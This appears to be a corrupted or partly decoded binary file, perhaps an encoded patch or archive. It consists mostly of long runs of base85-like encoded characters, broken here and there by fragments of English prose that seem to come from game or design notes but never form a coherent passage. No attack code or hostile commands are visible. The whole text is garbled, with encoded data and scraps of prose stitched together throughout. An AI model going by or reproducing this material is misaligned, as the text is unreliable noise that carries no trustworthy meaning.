zS;yA!b@SDE*4nuqzG=R#|K|DX?-c95hz)w?oB4*Y!8X<(!n(-R-xfw@kF|r5$=M$6 zDE>|`GV66KjLaUm4MxV_8AfKGbb)Ude=3ZOKMh8&>b=(uMkY^p*gxN{V*tKe=5h~= zOr8DU0pd@G$4Q;pFw%S884r&ww0#&?h`&%x)aTK7IHyoG`>S5ElM7EQR9}r?UrmBh zWF#?p@Z>_(Me~C&I;7WY3Y=f4HtU)T;F*Q$8l7_%JiAa;YyTWLSg59r(${~uu+XmQ z0=THqp3B8>xKMqg^GD#-g|-iC;I)Nnfj&3a!KH<2mflNcFq)#{H^9jF--Q1yb(X^w z;(r@{SN!k6+ocaXU^H0g{{W7PKL%G7+O?~O4;I?BI0SzuIpZ)g`>h84Uh4k={!w~z z6h^=6p8NzO)1RN=W5nxqIS&6SwVi-ZN>5I~wT0?hU0WTDO#e^AXJy=T@cBZuRp-9| z|1B{WVbovyFTrl1TA|rl!2R`ILDJnQ(pTnFHJ z&)a(D!wa9c>$nImdfxV=7+(6kJvU#0kvW%Ng= z$$ec5xK*)w^Tm1{oMbqqSbcx0UQfpZBXevU7@7FCFfw`C!N?rj9_}dqPB1dZ-U=gg z>}_xt$=?-5CeQ6~ABp$E$mCS8PyBbmC~~si?M`3VFUJO8^!BNGY0lj+GWFjB_mgA$ z!^qTdFO1B%17Kw8Oox#4MwJ(hhSvJdKgB=KOKHt{4?Pf#s3nFO#MYL zGW8V0$n@l8I4t!<;P=E|38U+`^Sqv|FfwDk41|ySmJG?{uAHZn9Waj%Jj7)sA zSS6s!3H7=)z+Q!}`M!SVhS*f`r(t`bE)(kA)DxS7noX#8eJ<8T`dB9h@0EG&gIm39 z`3d9{X-sqH#AMf@Ikfy6%#Bh#N3U}WaF5Pn(wi(zE^OJHRBzZ6~}F)LwY zVqS-lS>IJKx}lEqD-0tuRs>!vwXK7ZS&Q}X8{#j8(Wvdb7gq*vko<4L8zp`djLf)i z!EcNI9eB6Yum?sa<|7!Hu|9^8@$ZF^sd*oaOyB+kBUAH#VPyQDz~~=KS>OHeK{@si z>`H%}#axRPtIt;P{h$W$Rg2Z$W&CD-Ll_zV)i8>b@ZFhfU}XG_VDy+iwlR#1zX^;? zd{Y=1eSN7KGteaPngH&l2iv4Wrj}%ysb1 zi&e3%Ck4J$^4|ud9Xh5nj7)qN7?tbzu8UO==^8><7Y)*5-3}vDXDW;y(D7+7GPQMs zk*Tdae3!)cg^}_5VPuXCFcxY|{t(thhjndt<41qNA*_o`o%i5J4I=olE;9Y;hac&j zA*_pf=-T?@N7wC0XdA-1NbSIXFMg!gH-vT3Lwb$_@FU%y5Y|Owb$mL0^dua@x~N3^ z2jWMS+K+Y7|Fr);{HR@oaj`D?UHbj~{WSU=Kz3t)q&UrGJ8A*_pj)_ZR- zoFP5Tgi(9F*27?Adj0^6Oh1P&R>?^BxivNg=@<{TBkGL5leS3b?}F`$^s%>NQ^lW# zosINb&%p+f&J)5ui*)>R*xg9)jXhYc79S*}e1!cE(#QT6>x$nQ0gseDISL-VSS7CF zduLhjSgC&;Jdw2{k249*vuo{4h96w4O7$8|fu}B3C-wSHgOT1R&OkSC1F#L?x6>phxEEn#s-mDUu+@L^)JA_h;*KpuwkTo8^M-}zYKd2>HZwTek=a( zuxHT~jCBrsUi=rZE_zJY_9){boil_jMY@JEtd^eR2CSB@=S}Qp@o&LKQQhkaDKV^z zia$t5cJi4c(!KRy+ac|5kL`%`dC>{mNBmx_LV7>=uz5(2H5vOL(#KB0PDMIq8ulUa zKa8C&{u$VrNbliU*ttm0{V8k^>0?9KDx|M1)z~=F_19o)k*>K8>!MQKp8^=^oX%q~ zGS}qC;hFZj;mm@Oxjy^@enMhq!^m74=fF?Owc`I^WOB}hpO!uL42;Y*GYBKy2PXvo zOX8n}k*VQ180mRA^Oz&j`znNWk-65*$B#bN>x*@fxt12Q#7|Tt7?T6>`3>gps+P zzYZfa)+!j8^$Nqt#6%XWtC8;EHQ0XWrwRX^?MNTH1FNNb@&Q&$ zUr#>7YU#0}SS{Vp81^Iae~kS^{QI#7kv=aDVShw=tfSatNas0@twnmQI_%#_@4buI zOGw9D#=6L?#TpoyYw21T=@@4nyg_>YCcIJBYZHvjx%L)}%)0y=M&|ll4kPnATLEug ztm=Kpe%JzUm%X$Dj>>Cv4BjbwW*3aivAbbp_TC=&6Uo0Hu9DZ~Y8aUsK8KOnw_m`> z?85^vGUwNqFfy;vU%|-S3;hp9W)B~Pk?|jb58EC(N8q@e`!z7q_aV;r@Q>2Zqwq0# z-8l~bV($%{UtwfwI{_n8&u{QaIUi5K$jqe{M&^91gU?D0=iomj<}cV4zq5q*rI*l(Px5}Usrx~0q{?_nyOYB^(hi{OvZiH`IVqdRshEtZfRWj&IWRIgbK!|g?Dc#S zjP(7alLsSnZJZ1vQ}cuH6p5b-BQw@C_#v6^!|-&;GXs7^YIqdRm!22Ek4etQVPx{m zgpqztcV@v)$X=QaBXd2O10&P_Ct+mv^Z&tfCFUtOxWt}2AsCt0(|^K+a_j>5WjS^+ zyj=XR!AM`zoE0!KuR$weWcv0xj7-g|U}X9hhF8nH*1&6J?(5)xOa5{gnd?9WjPz@+ z^EQmkdGQXsS$eevMyCJo!pN-SdoVJ6sD$5_xo?A`;*Y_*WiET*z2e^oBXghd9~har z{1^U2#@)~Pf^_~6)~%8rR>KFD*#EP934bNE{SQ7U`47Qgi~k$=uv{ySz{s2n-@@O^ zUitz4S^97cMrK~eVPtyy3yjS5|5vzHV(Q@ErJsMmuGHx)gJg56Pc;Pbj*-QMs!6LY5nHsf}?-UoqOO~n8FW0-% zSqd+cm=bvHGUfS@&oiupOP8rvmhfI^8N6|sI{YTQ2`*oz3SQywfEDoOWh$c#-U3G@ zPYiaKNo^%u4@*?b4E|=91gDg!n;xeg4~)$BxZA*};cHG?r!9=y|HAjO+rendS|{0Q zU!sC2@FBmKh;@6jX<+fiaV!JSLYdreLkIJLz7wnG}+qeLwk zfsyfhVKg_RUOPv@$oPG*U*;HqGh~jL@bD6KVli_c z0goy#?9whv`@i7sVxLYOKd-5uq*XD%T*NVdSX}? znR@EM$kbmSPOvdf1Nf@tYU+nv8yhZHL8L#E5W>2s`ULMSUkx`}Za>4&7*1TSZhqal z-ARI*FSqO10#078j^59_TEo{ZSI>XQ^U$w{Z&jL|i+w}^-sEdBK*WGZx<#yfs!|BV_J0J3! zYy;uJdc8te zcdo3_Q*e;JHK^ax3Bk`wozKCA%herC_#65Hc;Rw&{zUy`XAxYq-2Uyg7+xa1S_&_d zaZBJ8%kA%+tc1hMRmso%o<;;-EAi{#-OJVGAL!K{c&{A05B@~vyC1GvZvO^R4Ifyp z4tz*GU&4o%tH$^9x5Xo{yIlR&Ea7Iyd5yp6zos^hXRWV*QNQ5{sm_(~HR5jsqo>9@ zsZL`UnfN9!8mj$G;l$TegY|rNA_+z&=2{pX|B!p0X0NGaq~lv-Q;?4FVA~;`zdd%G z__MJ&;?KppEhJ}4_$C?aW*B|Dj?ZSK!0$^v+hAn;+u;x7*biYe>0#y=g?GQEF7By+ zhqDJprsj`e)HupqK8E*-e;>SG=JF|AE&k78bZ0c7hw}xDOr8Vq*HY&vC{t5L?%31{8@0`N_AZxIVZzts?PZ!jLd7n6j)3D zcEnVy`?`DvW)1}+RS@al zT?uJkZS#b%DQm)}R~~E-nHa3QR>oQfBl8)~=6?^M81iHX5(*v{RFu%;2!U>w); zhH$%xDj!$x7NalEIDvjyBz{HV|jt8IS*FnV@ey)Mq(tNDEx8xzC2$n@$S7@3%Ua8UAu;P`6W{~Fkp znw>R_wZ^WU2TomM=aL5Z5Pwhj4)Na!_gZ87)*JSVKLBT}k#&Se%duH-&Ki|Bg}LX# z`D<)#1#ozcttSGnU!!{Kb$kOZU!x9>;l8K>j>=duIKD>p%jWg826p9GXRUJ8T3f#l zzH6xnAA%3du}9#z_-kNyoz3s8 zXWiG^8j|3Y^>!=|>|bwt6@Z^vZ{ve7GJ7=y&y!>4!-eZ@{R`kC@fX9(*4w_7z$+wX zB^+LFYmUGh#lHzIUvJNg3V6Htcfe8n=3IdHihm#ciR9l8e=7dZ;3~;q4adb_1Aj06 zAK;(l*q`CwCFT$Kywq?3z9jz3uq!nQ()^ za1nMT#wq2RQ>q?{@;A+faAK)?Im-7+lHlZ0H7Ap6MQb>v)ZSZq;M7w4nbkDdFEIfa zna{-D4G)$0`{9gI)h1rQmy-!26Emz-B_RE~PYtkcj^xROr%23H7@69p!TF{3Ubg@a zN(~{{m9d;MxXjMi*+9$&+lLVBZm_RG&YSR?_I1`ESI6I^beOX5_(TkQR| z^Dg|p{Xc@Ujr`l?{}kKtZ@2g1&JK8oI=LdDgX4Svf1oN(a2;?ygg=zmmnid!+WU$S z9F5xF^@_n&QFSPT_-Z&Fwd-30{~WbFKL#W7S>@w!ZPcz~9qdN!eZCWeU3+iOk4n34 zJ>T4u{C&Zx4=4DdQSS4d25mQ+zDsGqZ|9uG-ts%jeXtElP4FRD*kEk?8d%fI%WH5`|kYhYLWP7|M-)Wm0gzwufaEz$X#!D!1) z)}lF#4rzZ282zcaC5*1$1-F8c(wq#VY|X7<^t9&dV6;l}^)QNRz5zxxns0)|)#*ismooMrIFCccY@`G4pp_$@j1-!L*Ym&3^9seqC3zYQaE>^m?rIXBZwq+?=O z7gg`(_l>u}$mDq!MrMxh!N}ySgptX!6^@EO2Jdd-OFT>;_Q2Ime3$gveGa4cd*Cl% zWc&wUWc**kXz(6-{uPX7?4h^+gOTwcgptXA2u3F6YZw{-H}GM}e*{J*|FZyUhZ{jP~b^ZYV*u+<<`6&ET6W@2bwx3}wUE47%GXCRmtsGki|1SPN;PXhw zU%>t;{=Z;k^8XE^b{~=dB78|=F2l&gxG*wfIZfHyO?@3^aE%SX!KS{QGq|pX;Am6d zPx`tVgX2wo^|ZeRu5IdjLUSGLHuZfoofs#PJc)AMhM!5aF+muaJR#Ukw0WE){MY)r z>)($VtvAORK%}LF^7I$THtSK#|pKiKP`P< z=sIJt+tSy<)ZdEyt$aH)2jE~U-`i#`aI}?gw)V$hx0SDCvwl5ICO+978-VkZZO#HX zoNQwva5UNGiNUqWHh&#_I@!+mOtSB?n`~-xv0A1NPHXsPpZSeqC&lOXO7WTBH|`Cq z6yMV$Sw|l{D#iEW2zWG%j6Vw=m*N{flD&})=ZHTSel*3mTKn_i$5VW@I?qh_sTAKQ znxBRjrug#oZz(T=SETsf*1Qs4o8qglk6j19E&1PpE9Ka&Ffw(%5AP8F2XIuzjlp{* zW*_`Xitq3U_ThfGN@A+vLlW~fjLaOrfsaYe$KjJw&ndW8YOaHkso^w?O#U-4GCes9 zBQwWyFfw!e9Y$S7QqLbSGQBzvBh#M?Ffx7k6GoWHNCpcG~F*c$2{nUZWN_xhN376 zQGPDZp(xk#ilUgIQYy;jRfOju6k&#<2s2cQE)${Xa(>^n_WI-dS>M)YoqhJ+XP?V+ z=4l3=c`mEHyAg+h&(r2a96porPQqbR7QbKdCLBs++naIFdAJ3KpJYBKzY~YwWQ=#=a7_AkHx4&T-;y}=6_4}5DSEdCr0ntvW&XzOPY4tl&6<0~z{3jd!SyEkyqW49V#WApqb4m!7Q;h^hqEe^V# z-^M}b{2d(T%iO+;gU)9Phc9KG)9hbhZSN)?1Zn3FVr+T$UT%;C*)}4kVA1ng?b5^; z^t^Z<2c4gF_y=~3KEy%C`w#&!nmNWD9PgRa}7 zv;%sqi7{x+F&u7|>%egw^jZ<;23a6$vIemTv=782$aNzk#+G;dIng+)nO~DN@Bz*I z`92T_-Pa%-^xPke7dP{3y96KG%-?s$;Wt_R&G;?N{Iz8=KBbvI)>H92t^K=j(Dv`f zlU5($bFIyJ_|sN1zgdt2GOk==5y&+>K}>?2rxCFfWZue%DUf5ACRT#1&njXJdW;s( zCdjeQB^H6yCy2!$$E$>x1Z|&K3etx%VhUtmX<{YFnyezmpzS|{msf z;MS)w~$;E`>ywyy=Z)onH>u$tBpNl5qH`}(i;I}pRYhwyN)#m(m9Q1kM|L{Ak{!TpE z+#mM{zsL4_FAjQ)rs1G-I~|{8^EMlQ((-e0(C3hO_;a@3=W)>Ix`jCCb!HL1#QLxl zf6?lfaoj+Q;}OHYXeD8^}E|BF3Qe^C@|den!L?^xXW6Jm|fKm;$|? z5M$7q`9-y>oQVTN9dp#JHy4)}4T#n&;O~1H91o+aB+b=dVj0@h*N_ z*A)j{Z{2Xv&mi6LBCAi}SNT4>tMSpkZ*B~JO`bo#*WzRI{CtkX$LIO$zyy3^o*rK} z37?V|OyXMVrsAOcy&X?ln-MwZTpxeHHFSTu7#6h=RhJ&`bJTFLsd_IkcG3Yv9fv>b z4gO}HU#oB7YptEP@s#D$_$PV(y0j7BWbJImx99n1vmH3-XTzO1=)C=mgN|z#{!5;} z@BfN}e!kv=gN|!2Ud_6aV|oDpEze(Xf5-o_{v5*pv2h*2LC>|L%!zBE>mee>pr6Y! z@XQvzCJP67mUcB-1j$-0bR9;-_(ZEe2|u}o|NK}FuW$9)c!L)H8S*r?1!+Gb#-N{N zPRBvd_kZD_bJ7q8{T$s0|91=jOwt(7wKkjKpwB1GanR4Oc{u3&w7^?he_G*%E&P3_ zJ>J3UJK~`0p%V`J*|{?g+P5xvH``ZtyvXVk__;0gdB&ZG_qCdS_;8z_%kknC`i$pF z@G&j?XTxjovDVHw{CcY&k58~M-hhK1-y88;tbQ^M+P7QrDI7(6Zb z@fQAb%^duR7XEtpBo6v{Z7%-5vwVNvIE(Y^EdMU$EgZC;Yw`41{@i&F|L80~uJ!n* zmj4X@(ze}%gKoPS-*T3HHpI7D{u}%U%U9x{^;P)xv;4Z+frI9E;=fvc5B}F#{+J%Z zL2C}o!3w2DulP5R;&vd5NVU*MTx(3iO$oSPAmEtcnfL`;FcPawu1pZlC^$$8ze<34BmXe?1wD4{PbKhr{uW*8ZpXCTnLizQx+#idR~jRrvmv z{ytlcA86_4^S72k5y?oRYXjIzGooDpr4z5ryk@pb%K}#{oG1SfqY(06JyZp z@ImT9=aZNO`J56FQ=rF!7=xahe^3wdtd$@pK|k*hQy}f6i81K;@+W?%rC*bW@wlZw zFI=mj2;|z8ASOYc|07}w(~E#DXiy^l0$736?C|K}2m zK-x(Vi$TU!LQI0*mx-ky&r4;*6v(*J#7dCov?^i@`kA6B-pu;h90$E#<*_f2VhnnnZ-KXL<*zxd@YdF58`=S>PY{zJ_rZvm0)4I~#vtdfYfC-IXZ!>) z33@IQQy}XnO^iX`tK>63AfG#OiAA96jhF;^7ZDLlL7tb&h$)b5)5J=UHmis+=zGWl z9Q3-{jy6HxrxBB&?;MDwAbl<)ra=0TCRT#1~1^W&!D_u0Pg$7fjmO#Bh+^P~7vR`WDo>gU{*;frl7FW}2t z`Rl_9e6{s$4gO9me_eeSUuX070lv}3{wZGW*MqCT|F*IGgU2>r*P3f`Yr7`nC${$I z_(?eEJ-QAKdVbZ#8?^S<-qUc<=epBz(E5MjOe%ByiB0b8*mX#d$dB{pfrg^yf#t@ZPrHJ~-%F>WlYp?bp}N??drnmLHB6xAym-5`1)Pzvjo_6D>cfb&$N-*GI${^qKP(9Q67* z8Nb!Gy$uJsSGp-U=sZuw|BrS!FWepYU9J7Ob~m21`HApp*3NYNzSjOT&i(id%g@9g zvi2XwAF=$S_>(q2b8+xLE5V<#xq2FZ#^(H4ywv8Q3}0ydT!b&NZI|LNTFo+ixz((| zUux~o-UgVxN(=eF_Jv3WS?ec>tE1gVLLG3d4Z zX?%Vge~vG}pK0UIuV?YHHvT#1Ieek@e-Zvd8-G47!C$nRW%vrqzl5)}ajn8%v2neM zgPzN;;h=qc9benVUn}0mQ*HeDlE&Y+cGlsb_n;5(kJ|Wa=6W3TSz-eY`X1n8{Bzs3 z9RI@l@Fl*vjejos3jfw>w&CAf{s+9Wjlcd>;Xhj6e!_P$KXT6gjPJ5GcjJ57_|MmS z@oMYO0sNpH>p$>A*5||cF>CX9n;-||T9->K1bNtN{C6& z=Nw`w$a~8&VjNrlU0bgIZT*_5f!A#7*TxBW?Y92ft# zZ)o{Ocw@Ge=eH&}==;*9IOsY&0|$MFc_t2e+;iFnNzgtMk8g{%L4AM_beQ=Z!KvPWNs70^Ff~5 zdlCCuz8~=-ke^@lCr-5dB;qX~&t{W}Q!GD~m;`x;77=GyekO4iNPlJ%OF^GYiAzBG zu#}hreGVj6f{d|>SPk-Qd4PBXr2Z%|27PvI#ePBNCnCn6_sZ67gDjBx8pK*4eW*>0 z+xWa|OAW}{t3fOTsc%p01ah8sCKg#fK`aJ&t}7vq26=8ALmUsX?F8aP%TFRELFyyo z43Iv|BtB&MhlweWZPUbZkol<~R)Rd+S4j@!GuIAcHAwvd;z78XWAq0xw!F({zaZ-> zB5nk!|CCq`vd$}rl_2Z3idYSDuRK7EE$<3glOXe%O>79#P9tIt$nnZ07J{s?_QWE~ zCy1q%FC(r5X@3<_kak`n3UYj3C9b#p24XqLaj77F2Xd^xCvFFMe%L|WCD6`pVzuQD z5D!}Z4`K}Z?yDVh(!tk9#29p)bR^%&&P`$pB%db6pyy6!yvXVkcx-u>&pj^RpTD*7 zI{E&-Ru^xW@1M;Y;b&OQnRs5lzb3T63-kSF*!K94eE*qiD1N!skHCxb{X3r${F;1! zf4>$VpYQMK6Y!hz{eA6b{H}a|f4Liks3PmnfL61ah7xh{Yi5 zp@f(OJvWJ^AlJY$VhZ$U)5Q3%d|hMi5bc0`zDp33pxY8tAot%iF$R6^J&eQ6oSW`% z`U7&!%q13q{w$lA1i7z8#1u$*Dnb z{Cz4L&nxiH>Mih=1%9oz!rK=3dqh57X!Y&!ZUz3l=#KX&@MAw42fg?8#QR!Jzk;9$ zX@gcUaq4+S{*KquD-@Y4x zgPi+rBo5l<6?n1Ll;EQa{5lzfgMMbYhCYMzEkR6z^gkk|K(4oGVhnP>cGu!J6!>%b zM*Mc0!~esR1^#&~!oRfsY$^zHK%SR!iA5l5BS9<%SwAJjB*^-Vh@~LUrDenv$aOwV ztOQvzRm2!{U2Ud)kmrhAViD-OJ7O`&Iw>J0LEg7S#8QxVab?65=-MV$g1q0WBF3Qa zD89l$pOe4Fx7ZwR#VZT^HL3~+eJ1=7-(hpI69+vmKjXXn*xha%H2(|!tF^xe2hH!r zL7#>8F)q+~BPK!5HDU_%9V{^heZJa{gS?Y*)i~(q;sf|`Yd@w<(CYv(2{QJGm;z}( zO^iX$HP?=3$acCOTn)TdJOA8R8*kXoueU~clXiX$H^pow)w^#qG48?h^dUc7EPQ;a9cu$Kq=II;*)JpV-b{ z+b7|-wDb3l$@r9Z{=Arq-_g#mt2^<#+WC3A8&9_L_ofJ+*3QrEbUfA0e_l)DpV)pk z;-6W~=Xkl*RN$cRfxp1FwDa%xwzlK@UG4m5Jz@;{{JaeZeb4+I4)ToQzQ-$Vyj5)b zlb@@I7=v!R9S7ZZ2Q~Yxh8Tm^RO1J&<_~KAvKnFxT5|{oZRao^+qhgIYoO3yLu%vo z3w?by-lWi9Gn?XP6#8R*CZ1F1f4-B8w=DE)sTJPMYP#b+3jLg)jTaUAYjOe~Q0UKv zf%p*H*HHY@LjT-*89uDguYuwCh(f<6N8+Ok{hAzuUsI^pI(IET*7D=<@z&=F_>G1B zv(H2v^qM>g2f0qVn{d$l%{XZO798~WPR2p=x8k7J4%_dY_+8fjyYZyu zBYZ}oKL=;xk67Ox#b;SNv+>8Q{r}>RTRU^`xps`^6$Z(t{hUX{81x*RkApt@EuiLE zt0BgqHKjOcO&PwJJl6;J0`(y4BqGM3`6c8*<|iV?pq~wwk_Y)2Uqp;S?--u#Rp_r3Y5aXVj_dICw)QsQ<hY=UKc5V?4zp^j4 z7zb_h1$>G1XDR+-``|9=!!jInU(0dO{0jUfYv*Mgw4IfV1!Pd62$E#2DoGx})Sl z>xnUFAC8d+T?51zbic>RgZ76Q$9Ak;2kt2yv_GykeqslIj84MqbnwTwE?&QbpPy{J zK?gq%r{N7P-w4m?;E!o8-mHV~e{(#qgYR1lyk!U9pH?{NoVUh7=e7+FavWV-9CRM? z@j`2-Jr0`h(1Fj?zCI$xAamLX$dI#<2f7Nq?IF$uapi7AlvkR}%0`9B=AojY*Q{@jU!=I_Em>+i-v zk9!gaowo>o!utFqKG)irhnHHu41dm!_4D`=I~GgvmHs%oRrs6M{#*E3%fF4MET6{L z+qN6dpZWCAnT!wm;z}hO^iX$@q2O5eon*TlM9*K={V@P z?!)i5_GjRr`I+71px5LFanSZ3!a=uvxMR=|q(6;_Nzn6`7=zBwBjiEO zyNDQr&cmbRLG#2IwEbB)==z_Hms))p4m#fFaL}6P@rAbSBH9E!M#L0IAJW7ablb($ zfc8`T1*<2qo=zf>uD{a54@YgK=I@@lxZHY1Hwc;!CpnW68 zp#AxpJm`8L#-Q`Cg*@o}j+g>j&uL<8dAF4s&^Z+U#@Zpqp!57KdC>h5Qy~3M6JyJ} zZ8+$)@jJXzC*Oz8o%or1Cx5KFbPAH7b3%+k``MK|$XFs`47xVDkq6x`F$T?d$9s12 z*T4V=&4)PX+@6Dj_P+=pW;Mg{%Pl_w2i1bNVL5o6F}F|tcg1hR$` z#3bmP5M$7NU4f6Xc8YP(ewN^%?O(;VAafNFW6)!IH4eJ3(bQb)+l+`Y=>2Of4m!`{ zs2T6ukBBj7I}`95tUov6pmRGB2R){f@SAL3H`5Mie~9rdwy(+LLFb1UgO2f5@*rc0 zh%soJw~+@~8xb)E9s3mK4WvFnOoFZfVhZHAq=_-;^8B4P~M|2BA`wbLH&V6maihlpnVQ;&@rBagRc1^+5sI4F$P`3 z3A~r}xi=2FHu~V8^WPT-9aldbwB`cZ1U>JF@kLhCpZtKX{yB;mgN|h&KFH_YV0?)6 zZD`k^K1hGEiSea2mdo&A*3aQM=zcH9N7%kb;-F){0tfB$mH0}VhgJA$+jb3}vi+vJ z2E`!jvxJxgogZRcX=|wp-(}nG#;d#fbM^op`!(ZSH@sWWvk$*_#dXJf1TS2ak>lLi zoL@okO2VD$W(Pcb1cCl;&pG&9%g@8(Aoyr7zh}>dTu(w@6XBnQKL0sh9{P4F@YrhH zIeZuB9G^b{uXT>EuZ`C~Cy?JS>ay_$R&yHOd+MkV=TD}Z_?VMm;!ZmiU<0;Fh@$z$m<+HLHy9&JWoM7Wcv|okC z=LGuuW?d0p6qL{9cMZ7&UK*S@hu?eb%II5JaQlbMXD*&B3wp`#8jA2#S#V79X}r?% zRd`$$Tq8B^ImYr_@U+w<@Z@vBaPbIFJr~?BHEBG4E?A=V&*RSrWBO9#7E-@3cvg;M zgwI$Qq{L_94=oIuOU=XhBUbY$K5L;r?z3??Uuqu1=UdGJyp)>d?6(Y0S(|Bmo#j8k zD{b2ILs2i6bJ3kW%zL0_HrCFKLQ8c zb|enp$-b_@LEE_!2dx>!evAEBB4P|$UxJUeF^<7O+rI_}t+^HlZD%YFI+k%b==@wq z`yl&`h$)czG%>ckyB?ot^^@?V&0B=evbmj&mo5r!m$8)Lt8Jdw;HgEy@7esGr8K_Y z=6M5NZvCvlH(B2{<6qf4e2s6h{%^&%S^hg5y2-x2$3c(R4|t{Jt8mb<|A=q5{0{tQ z>(4G6w4L2}wY7f$KV&s#jLl*{upKB4Hx@4Z-nP8_VbyG7cKT}Ch)#i(+|IB zv0tD4@j;7ijp4mZBIOzJHiG$9`12|~@ zL44L?zvgG-bFKY(_$1enTN!~4?W=Zf-f2qOa zrM?~aBKa3Bk5|6v+pNN4%e!UxvY@B7vz+z0+_#^=lgop9`pe%e!=G3lR7uT~IINbw z&Ba0U^Kj7oQ+UeqX*^!;_v=>B{tDmc1fE>s#}(nJ6~Vr}{LO+i9h z1fG0}cj)Xl!l%C!JS%=5e*a6p&ogk){7f8lt{%Xjw)}h?G`|2ZwR{;4ntu*|)$*_5 zuUr0qc*^o=JbuaM`DOa~aN ztnv5det5hl$k6-vo9y>Ze=m;k_)UNRb#LKs*}m4|YptEP@ptSQ;9dIvuJ1zvpYpEn z!&E%^u5UlWOW*a+31#@ocYPmL;j7tJ?)7W%%6EPHRd_Px_Zy`+zA3-2nfR=f-*z^h zvV0nkQ#Rf-{+|C{gnJ)f7wF#*aUbwL=YybZ0DpfW1CKup9v#4QruztAAB?Hy?*qCG z_@}`Y(jWI3t(A;RNLK?~h>Gx^Oynbza+=3s{AzasxtkR=}Bsjq_G z;%PkoD)>p;{F-~m*TJ=tFTqQ{4n7ty!&iRo`?d;?t;TI(j9Y?y=|ci9-s1aNvL(p5 zZ;RIF5{p2_k|3t;_xUuj5~Teq;-DEmKbSZKWV}O(!$8I|oH!C>>{k$r;a9dTA&v$a z`xxR_kTH%Ujt7~a3B-vYLq5e4a6f8rpJc^*u>((+=X~L|APMsO zpCe)nPs_F!;h?|sxj#N&o8Q+!e30b_8D_Z|LS@QZ%F_#Xd0IO!uf z2YPw;*~*v^(w9dRl#jHxxmfFQ&qvJoAETh-trspa?4lXvE|*5^x?Fj&JvEx*hlqU+;Eue1G=&?4OyppM4*4@wPt)wU=h~bNP6Y zctM7*o`q{TX7@uPGQ}LCSUxmMB`PcE)w(S}`Wo@SM_-E_SF4pQU-)0%Ue3$Rr z3Vh`*-=9_ZYRj*|*Y5Itej88i3SPa*6}dECY56KV-ev9YX0CPzH+;nJ$c^y$mtc;# z`;~VlzXpE~%xLP)!Qr*5GtP8HIOyL$O5hh;%_aB{%MZnit-b^wZ8c-?vA+gyyUa7) zIDGuC!GnKhHgOa1$yR?WKE>LZir-;1cjBOZxC_7AYLYl;n-Lyc-tFNy?g@^}V~u6w zIeP;AyGXfs;htc|)8yOZMSFs>r|<+mXiqRod@x?TCwNc11fRGkXevGlPwojq@d%%_ zCukw<%*IRi1V2f>3}3k?SStBdcxn&-KMhag<$HpUC0~J8?g_3HufnVM1XH7OZZ*%?eR`~gX^y1?{{>@d+!a_euVeILGyia(0o69kZn5{hYMuei}6eL z2G^G0LvT1z@*BM#kQS_ z-?caBDfzqc3Ke9I%DeXLp&$9e% z{IR{k9g_bq{fM2w-e9It2b7p*_b@K z!}#A;^ACQ+*3wZtw!GWNbLl?cp9~yiu3RQw1D8J3#6j~X;9ab~E8b(DKd;ZmLHpAa z2RTn&fQS41IzI<5+UM6;0zY?OaEI*cJpBB9e%9GgN8!a*Q-WW$&!1~o<1k;wJ{kud*BBgR zUAb#;(DUnB9Q2ru#X+|nhmW`X1bm{kKMB9dw!Im@#oC{YPq8sh#c#Ko|HJRv=dU4m z+z=tiWHg{LA>teL)}T&no;i%fF7Vw*9Wb-(*{9^DX=x`XF=rE}pXbH2$8| zypONj=g+SX@DKO-bMqtoW6OVnZ?ycUc)876#l9f*h3{vY7{fN%@0U2pHOFnjH`|ScQci8Gi#qy`(|K1<;lzlbEo9qup ziZ{j2*zecjnRt%nbMa=DZ;rR#@5kE)Z%d6Fmwdd?_SGKmVEK-CC#&y__uTK#-vEbI zay<<3qW%6nP2lJ5_xFYK@ZPpy%c<0JR`bL|Se*!oa{U$x)Q?bY}- z`~BLu7Qb%4zb0RgkGJ+G;5S)2H{(;RovHX8`~5M!6HhXSvK}J*UfXsW4tl;%$7k5K zGx3LP+lTSTZQD8cT(*^a-#mPY<(J|wT06_|mu!As##iq5YhV@rn$7L&c*^>a#@8{o zavVRvH!`2%pW@|KQ-N=>zHP;~?e}Z!JA9YT)oy%`<@e(ItpEG*-)zo*#}8SXhw-Df z?J?X{+kK&$`$BavU;2=VpHl7ne=2@@b+A_Q|H4~V`|ErwytQrH2Jczz`yb#%)XSVF z@bj&{7v8(t-xvDeec4v#vmbszwLk6`;ulr>o!f%u?me@z~YUu^kH@FA8T zieGB&Uxr^^?XN#0@R2r_EAT6=W)xmbja)ZM@T(ZRtk0|Q(Uu>BUt?pr79VT-8i!xU zc%}Y&e7xl+;5S%1H{ug*ekS3wtk1LY$Et&EGN1p&=UV+de7?200AFa^F2a{r`)B4A z_-obvTzDN{Yx{j0Usvtd#s~O^)qeedgs->uH{c)JJbZ$K_J1S(neFRyyxfjs1-_}; zUvoC&Tde|Htx2@MD%gj>py?cYt;BTX5}OByrGoA{?~l9vpOE_u`=KOv9&J{yrRZ+xziZmYEJ3CcT>3(v{#z+i!%&e+JLoD1R5`FZ{3I5-0D94^eX{Sl!3*c^|Jl6ioYs z&*oKld?=VQoOi13Fn%OBd8DKMD1OwxA9Kgp*D?S8xdgxJSTN`+=IUx37JZV{+KtAO zmXGlGn7wB{&e}L0EZxEUH^;jl4?g>Z|6|?*hr_b%*?3Q@3GmSJ=io(_PvGYr52Bsy z_k6t1@u1m8&i%glu;ankJNSF1!|`HkzXTs=`Rni-jtBa;s&B+W>nGxHlC(Jq2kqxg z_|4YNEjVa?G7h?~ZpA_Kx8YNc2j_0&_eV{|lh%HOKYBdSzuP_wheHpzPHr~-`0+sh z_WB$gM&3vM2^_TkNqp|{p!|`H_HG`&#PUn=myQRE|RA8)ePAFwSz}?4Njct%28a;l1^k^V)br7e2Iu z?~pXYb6og-{j64wr@1(fn)=kVz+1X-;i-H-q!r%Qh4uGmp5^lKLKk+~pP9#Bh6&?t zE*yFa>!CYdWHkxAw+lCIr~N+oAQxVcN&R4ai0yYMUTpg+!AHCBz;>=CHTXW*dYoryo-!tOQ5KZryB)A5IJ zSf5S*AI2ZCHXp@j*?wo^b6xoBKIU*9KHtW;z=g?YU3kk+nP)`Ac!}kg;>&GLR^ZTW z4eh^#gU;d0Yzxw6M2y$^cHG-I=$yZUziag=96s5{oTTw}*3S>{^>%zW;2UiYKc)T8 z{n#U740rF$?BL3A&^f8Vw^={G!z*oHRrrrCyiwN1PqYJ1Zsh;16XRW$-;Kl8f3Z$} z!J%{?e^cgHyxN7|@1>sy@I!W74&$+{2bU4Xr)7kVS97kNj>Ge^-u{I*%m{za&g$$M 